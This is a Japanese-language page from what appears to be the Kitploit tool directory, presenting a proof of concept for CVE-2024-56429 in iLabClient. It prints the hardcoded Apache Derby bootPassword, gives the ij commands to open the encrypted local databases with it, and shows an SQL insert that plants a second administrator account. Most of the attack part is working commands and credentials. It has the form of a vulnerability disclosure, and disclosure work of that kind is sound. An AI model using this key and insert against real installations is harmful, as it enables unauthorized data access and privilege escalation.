Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lisa-2905/cve-2024-56429
特権昇格パスワード攻撃脆弱性分析エクスプロイトデータベースセキュリティ
GitHublisa-2905/cve-2024-56429

CVE-2024-56429

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-56429

iLabClient のローカルデータベースへのアクセス


データベースのパスワードを抽出する

iLabClient は、ローカルに必要なデータを保存するために Apache Derby データベースを使用します。暗号化を保証するために、 作成時に bootPassword が使用されます。これはソースコードから抽出できます (抽出されたコードは DecyptedBootPassword.java にあります)。抽出されたソースコードを実行すると、 ユーザーは bootPassword を受け取ります。

root@kitploit:~
jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==

データベースに接続する

iLabClient を初めて起動すると、iLabCLient と iLabDB という2つのローカルデータベースが作成されます。 これらのデータベースに接続するには、Apache Derby のツール ij を使用できます。ダウンロード

ij の起動:

root@kitploit:~
"C:\ilabClient\java8u422\bin\java.exe" -jar "...\db-derby-10.14.2.0-lib\lib\derbyrun.jar" ij

"C:\ilabClient\java8u422\bin\java.exe": iLabClient にインストールおよび使用されている Java バージョン
"...\db-derby-10.14.2.0-lib\lib\derbyrun.jar": Apache Derby ライブラリ

データベースに接続:

root@kitploit:~
cd "C:\ilabClient\db
connect 'jdbc:derby:iLabClient;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';
connect 'jdbc:derby:iLabDB;dataEncryption=true;bootPassword=YngAYdgAE/kKZYu2F2wm6w==';

データの操作 (例)

接続が確立されると、データを読み取りおよび操作できます。たとえば、より多くの権限を持つ別のユーザーを追加することで可能になります。

root@kitploit:~
 insert into users (USERID, BENUTZER, NAME, PARAMS, HASH) values (4, 'admin2', 'Administrator', '111111111111111111', 'SHA-256:B6382EC801B1BBD5C464C6A5F9C8CFFDC603A7D3A4916B1F50BD592678E8380B');

必要なハッシュは、クラス GenerateUserData.java を使用して作成できます。


発見者: Lisa Ulbrich (Lufthansa Industry Solutions AS GmbH)

ツールをダウンロード